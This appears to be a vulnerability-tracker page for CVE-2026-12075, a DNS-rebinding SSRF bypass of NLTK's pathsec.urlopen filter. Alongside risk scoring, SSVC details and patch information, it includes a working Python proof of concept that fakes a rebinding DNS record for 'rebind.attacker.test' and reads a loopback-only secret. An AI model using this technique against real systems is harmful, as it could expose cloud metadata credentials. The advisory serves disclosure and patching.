CVE-2026-12075

HIGHPre-NVD 8.68.6
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 8.6 from GitHub Security Advisory (severity: HIGH) published 2026-07-31. The CNA's CVSS baseline 8.6; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-qvv7-cg9c-w4x3 (GitHub Security Advisories)

8.6EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.6Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
  • validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  • urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk import nltk.pathsec as ps

ps.ENFORCE = True # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"

--- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---

class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET)

def log_message(self, *a): pass

def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port

--- Model the TTL-0 rebinding record at the resolver layer ---

_real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int)

def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs)

def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read()

def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62)

port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")

socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True

# ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo

print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62)

if __name__ == "__main__": main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

CVSS v3
8.6
EG Score
8.6HIGHmedium confidence
EG Risk
39
EG Risk 39/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity86% × 45%
Impact severity (EG Severity): CVSS 8.6 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (8.6): severity, escalated by confirmed exploitation. This CVE's 8.6 is its impact severity (EG Severity), not escalated.

EG Severity
8.6 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12075(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
pipnltk @ 3.10.0 (fixes <= 3.9.4)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 8× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:59 UTCGHSA enrichmentGHSA-qvv7-cg9c-w4x3 · GitHub severity HIGH · GitHub CVSS 8.6
  2. 2026-11-01 07:59 UTCEG score recompute
  3. 2026-10-25 14:50 UTCEG score recompute
  4. 2026-10-18 05:04 UTCEG score recompute
  5. 2026-10-12 16:36 UTCEG score recompute
  6. 2026-10-11 20:12 UTCEG score recompute
  7. 2026-10-11 18:24 UTCEG score recompute
  8. 2026-10-11 14:58 UTCEG score recompute
  9. 2026-09-29 06:49 UTCEG score recompute
  10. 2026-07-31 17:08 UTCEG score recomputeFirst assessed: 8.6 HIGH

Frequently asked(4)

What is CVE-2026-12075?
CVE-2026-12075 is a high-severity vulnerability; its CVE record was published on July 31, 2026. Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode Summary nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges…
When was the CVE record for CVE-2026-12075 published?
The CVE record for CVE-2026-12075 was published on July 31, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 31, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-12075?
CVE-2026-12075 has a CVSS base score of 8.6 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-12075?
A fix for CVE-2026-12075 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12075 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12075

Explore →

Is Your Infrastructure Affected by CVE-2026-12075?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.